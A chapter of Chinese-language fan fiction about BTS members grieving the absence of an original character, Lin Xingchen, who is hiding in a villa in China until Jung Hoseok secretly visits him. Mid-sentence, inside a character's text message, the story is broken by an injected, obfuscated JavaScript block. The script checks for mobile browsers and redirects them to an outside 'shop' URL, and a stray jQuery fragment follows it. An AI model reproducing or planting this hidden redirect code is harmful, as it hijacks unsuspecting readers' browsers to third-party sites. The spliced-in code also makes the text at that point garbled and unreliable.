落地中国的第十七天，林星辰坐在空旷别墅的真皮沙发上，发着呆，窗外是江南连绵的细雨，灰蒙的云层压得很低，像极了此刻他的心情，晦涩不明。


    他没有选择去住成员们去过的任一一座房产，而是让林知南重新找了一座新的别墅，这里远离市区，三面环山，只有一条蜿蜒的公路与外界相连，这里足够安静，安静到能清晰听见墙上挂钟秒针走动的声音，也安静到让那些刻意被压下的习惯，如杂草般疯长。


    “柾国，帮我拿下那个水杯。”


    话脱口而出的瞬间，林星辰正伸着手够茶几另一端的玻璃杯，空气凝滞了三秒，空荡荡的客厅里只有他自己的回声，他维持着伸手的姿势，缓缓转过头，看向身侧，那里本该坐着个总爱抢他零食、笑起来像小兔子的忙内，此刻却只有冰冷的羊绒地毯。


    指尖的力气骤然泄去，玻璃杯滚落，在地毯上滚了几圈，发出沉闷的声响，林星辰低下头，看着自己苍白得近乎透明的手背，血管在皮肤下清晰可见，像一条条青色的蚯蚓。


    这是他逃离韩国的第十七天，也是他第无数次喊出田柾国的名字的第十七天。


    不是爱情，他反复告诉自己，在防弹少年团的这些年里，田柾国是他最亲近的弟弟，是练完舞后会把毛巾扔到他头上的捣蛋鬼，是生病时会笨拙又细心地照顾他的忙内，他们之间是刻入骨髓的亲情，是朝夕相处养成的习惯。


    可为什么，这习惯这么难改？


    林星辰猛地站起身，胸口涌起一股无名火，他走到客厅角落的博古架旁，上面只零零散散的剩下几个物件，他抬手扫过最上面的青瓷花瓶，那是林知南送来的，说能装点家里的生气，花瓶坠落的瞬间，清脆的碎裂声刺破了别墅的寂静，瓷片飞溅，其中一块划破了他的手背，渗出血珠。


    他看着那点红色，却感觉不到疼，只是蹲下身，看着满地狼藉。


    “对不起……”他喃喃自语，不知道是在对花瓶道歉，还是在对远在韩国的那群人说。


    与此同时，韩国首尔的Big Hit娱乐公司大楼内。


    社长办公室外的走廊里，气氛压抑的可怕，田柾国、金泰亨、闵玧其和金南俊四个站成一排，个个面色凝重，田柾国双手插在卫衣口袋里，眼底布满红血丝，显然是几天没睡好；金泰亨靠在墙上，帽檐压得很低，看不清表情，但不停扯着衣领的动作暴露了他的焦躁；金南俊和闵玧其两人更加不堪，衣服皱巴巴的，头发出油像是三天没洗，邋遢得像两个流浪汉。


    “咔嚓——”


    办公室的门被拉开，林知意抱着文件夹走出来，看到门口的四人，无奈地叹了口气：“你们又来了。”


    “社长，”金南俊率先开口，声音嘶哑：“请告诉我们星辰的下落，我们只想确认他安全。”


    “我说过了，”林知意的语气很平静：“星辰需要时间冷静，他现在的状态，不适合见任何人。”


    “冷静？”田柾国猛地抬起头，声音陡然拔高：“他一声不吭地走了，切断了所有联系，我们连他是不是活着都不知道，怎么冷静？！”


    走廊里的员工听到动静，纷纷侧目，又不敢多看，低头匆匆走过。


    最近公司里关于林星辰要退团、以及有关防弹成员频繁出入社长办公室的传言满天飞，有人说林星辰是因为身体原因要被迫退团了，也有人说成员们频繁来社长办公室是在逼宫，更离谱的说田柾国他们是在借机接近社长，各种版本的谣言在茶水间里传得绘声绘色。


    闵玧其拉了拉田柾国的胳膊，示意他冷静，他看向林知意，语气缓和了些：“社长，我们不是要逼他，只是……他的身体不好，我们担心他。”


    林知意看着眼前四个褪去光环、只剩焦灼的男人，心里也不是滋味，林星辰的情况她比谁都清楚，可她答应了弟弟们，要帮星辰守住这个秘密，至少在他做好准备之前。


    “我向你们保证，星辰现在很安全，有知南在照顾他，你们不用担心。”林知意的目光扫过四人：“再给星辰一点时间，好吗？”


    说完，她不再理会四人欲言又止的眼神，转身走进办公室，关上了门。


    田柾国抬脚就要追上去，被金南俊一把拉住：“柾国，别冲动。”


    “哥！”田柾国挣开他的手，一拳砸在墙上：“我们就只能在这里等吗？他是不是出什么事了？林知南为什么也不回消息？”


    没有人能回答他，四个大男人站在走廊里，像被霜打了的茄子，满心的担忧和无力，却无处发泄。


    而在汉南洞的宿舍里，气氛也同样压抑。


    金硕珍系着围裙站在厨房，锅里的糖醋里脊滋滋作响，香气四溢，他熟练地撒上白芝麻，盛出锅，又端起旁边的紫菜蛋花汤，习惯性地扬声喊道：“星辰啊，吃饭了，哥给你做了你最爱的糖醋里脊，快过来尝尝！”


    客厅里一片寂静，没有预想中那个清脆的回应，也没有那个会飞快跑过来，抱着他的胳膊说“硕珍哥最棒了”的身影。


    金硕珍的动作顿住了，脸上的笑容慢慢凝固、消失，他看着餐桌上摆着的三菜一汤，酸甜口的里脊，清淡的蛋花汤，还有他特意切了花刀的土豆丝，和绿油油的清炒青菜，全都是林星辰爱吃的菜。


    心口像是被什么东西堵住了，闷得发慌。


    他走到客厅，看着林星辰曾经坐过的位置，那里现在空荡荡的，连个抱枕都没有，以前每次吃饭，林星辰都会坐在他旁边，一边吃一边给他讲网上看到的搞笑段子，偶尔还会偷偷夹一块肉放到他碗里，然后冲他眨眼睛。


    金硕珍拿起筷子，夹了一块里脊放进嘴里，酸甜的酱汁在舌尖化开，可他却觉得索然无味，甚至有些反胃，他放下筷子，转身走进厨房，把桌上的菜一个个端进冰箱。


    “吃不下了。”他喃喃自语，靠在冰箱门上，抬手捂住了眼睛。


    当晚的练习室，气氛也好不到哪里去。


    节奏强劲的音乐声中，成员们正在练习改编过后的新舞蹈动作。


    金硕珍跳着跳着，习惯性地看向右侧，那里本该是林星辰的站位，以前排练时，他总会跟不上节奏，林星辰会悄悄放慢速度，用眼神提醒他调整步伐。


    可现在，那里只剩下空荡荡的一片。


    音乐骤停，金硕珍扶着膝盖喘气，目光还是不由自主地飘向那个空位。


    郑号锡走到他身边，递过一瓶水：“Jin哥，休息一下吧。”


    金硕珍接过水，喝了一口，苦笑着摇头：“就是……习惯了，总觉得一回头，就能看到那小子在冲我笑。”


    郑号锡拍了拍他的肩膀，没说话，他心里何尝不是如此？每次喊拍子，总会下意识地多喊一遍，等着林星辰跟上；每次休息，总会习惯性地拿起两条毛巾，手递到一半才想起，那个总抢他毛巾擦汗的人，已经不在了。


    另一边，金泰亨走到正在看手机的朴智旻身边，眉头微蹙：“智旻啊，你最近怎么总在看手机？”


    朴智旻闻言，手指一顿，迅速按灭了屏幕，抬头冲他笑了笑：“没什么，是成云发来的消息。”


    “河成云？”金泰亨挑眉：“他怎么总找你？”


    朴智旻的眼神闪烁了一下，拿起水瓶喝了一口，掩饰着自己的慌乱：“他不是年底WANNA ONE就要解散了吗？最近心情不太好，找我聊聊。”


    这话倒是真的，河成云确实经常给他发消息，倾诉解散前的焦虑和迷茫，但他没说的是，他和林星辰还有联系。


    就在刚才，林星辰发来了一条消息：【哥，我挺好的。】


    只有短短五个字，却让朴智旻悬了半个月的心，稍稍放下了些。


    “这样啊。”金泰亨点了点头，没有怀疑：“那你好好安慰他吧，他也不容易。”


    “嗯，我会的。”朴智旻笑了笑，重新点亮手机屏幕，飞快地回了一句：【好好吃饭，照顾好


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152193|187502||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    自己。】


    日子一天天过去，团队的气氛越来越低迷，闵玧其和金南俊几乎住在了工作室里，没日没夜地写歌、编曲，用工作麻痹自己，田柾国和金泰亨还是每天往社长办公室跑，哪怕每次都被拒之门外，也从未放弃。


    郑号锡看着这样的大家，心里急得团团转，他知道，再这样下去，不仅团队会出问题，大家的身体也会垮掉，更重要的是，他也很担心林星辰，都快大半个月了，连只字片语的消息的都没有，这让他怎么放心的下？


    思来想去，郑号锡在一遍遍的尝试下，终于拨通了林知南的电话。


    电话响了很久才被接起，林知南的声音带着疲惫：“号锡啊。”


    “知南，”郑号锡的声音很急切：“星辰现在怎么样了？他是不是……出什么事了？”


    电话那头沉默了片刻，林知南叹了口气：“他不太好，号锡，你能来一趟中国吗？瞒着其他人。”


    郑号锡的心猛地一沉，立刻答应：“可以，我什么时候出发？”


    “我会跟我姐说，让公司给你安排一个海外的行程，比如去日本拍个杂志之类的，你拍完后，直接转机来中国，我去机场接你。”林知南顿了顿：“这件事，千万不要告诉其他人，尤其是柾国。”


    “我知道了。”郑号锡握紧手机：“我马上就去安排。”


    挂了电话，郑号锡看着窗外的天空，心情复杂到了极点，他既期待见到林星辰，又害怕看到他不好的样子。


    两天后，郑号锡结束了在日本的拍摄，按照计划，登上了飞往中国的航班，他全副武装，戴着口罩和鸭舌帽，把自己裹得严严实实，生怕被认出来。


    飞机降落在上海浦东机场时，外面正下着小雨，林知南开着车在机场出口等他，看到他出来，立刻迎了上去。


    “辛苦了。”林知南接过他的行李箱。


    “星辰呢？”郑号锡迫不及待地问。


    “在家。”林知南的语气低沉：“比上次见他，又瘦了好多。”


    郑号锡的心顿时揪紧了。


    车子驶入蜿蜒的山路，细雨打在车窗上，模糊了窗外的景色，半个多小时后，车子停在了一栋白色的别墅前。


    “到了。”林知南推开车门。


    郑号锡跟着他走进别墅，刚进门，就看到了蜷缩在沙发上的林星辰。


    客厅里的电视还在播放着，剧里的主角正在喋喋不休的说着话，林星辰窝在真皮沙发的角落，他整个人缩成小小的一团，周身萦绕着一股挥之不去的孤寂，白色卫衣穿在他身上空空荡荡的，衬得他整个人愈发单薄，黑色短裤下，两条小腿毫无遮挡地露在外面，细得仿佛像两只筷子，皮肤绷在凸起的骨节上，白得发青，仿佛稍一用力就会折断。


    “星辰……”郑号锡喉咙发紧，快步走过去，蹲在沙发旁。


    林星辰听到声音，缓缓抬起头，看到郑号锡的瞬间，他的眼睛猛地睁大，像是不敢相信自己的眼睛，他愣愣地看着郑号锡，几秒后，才伸出颤抖的手，触碰了一下郑号锡的脸颊。


    “哥……”声音沙哑得不成样子。


    郑号锡再也忍不住，一把将他抱进怀里：“我来了，星辰，哥来了。”


    熟悉的香味包围了林星辰，那是郑号锡的气味，温热的体温透过衣服传来，驱散了他身上的寒意，他反手抱住郑号锡的腰，把脸埋在他的颈窝，肩膀剧烈地颤抖起来。


    “哥……”他一遍遍地喊着，像是要把这些天的委屈和孤单都喊出来，早已习惯了身边永远有人簇拥、耳边永远充斥着喧闹的人，一旦被扔进这样无边无际的寂静里，才发现自己早已经忍受不住这份孤独了。


    郑号锡轻轻拍着他的背，感受着怀里人瘦得硌手的骨头，心里疼得厉害：“没事了，哥在呢，不怕。”


    林知南站在一旁，看着这一幕，悄悄红了眼眶，他转身走进厨房，准备晚饭，心里想着：果然，心病还得心药医。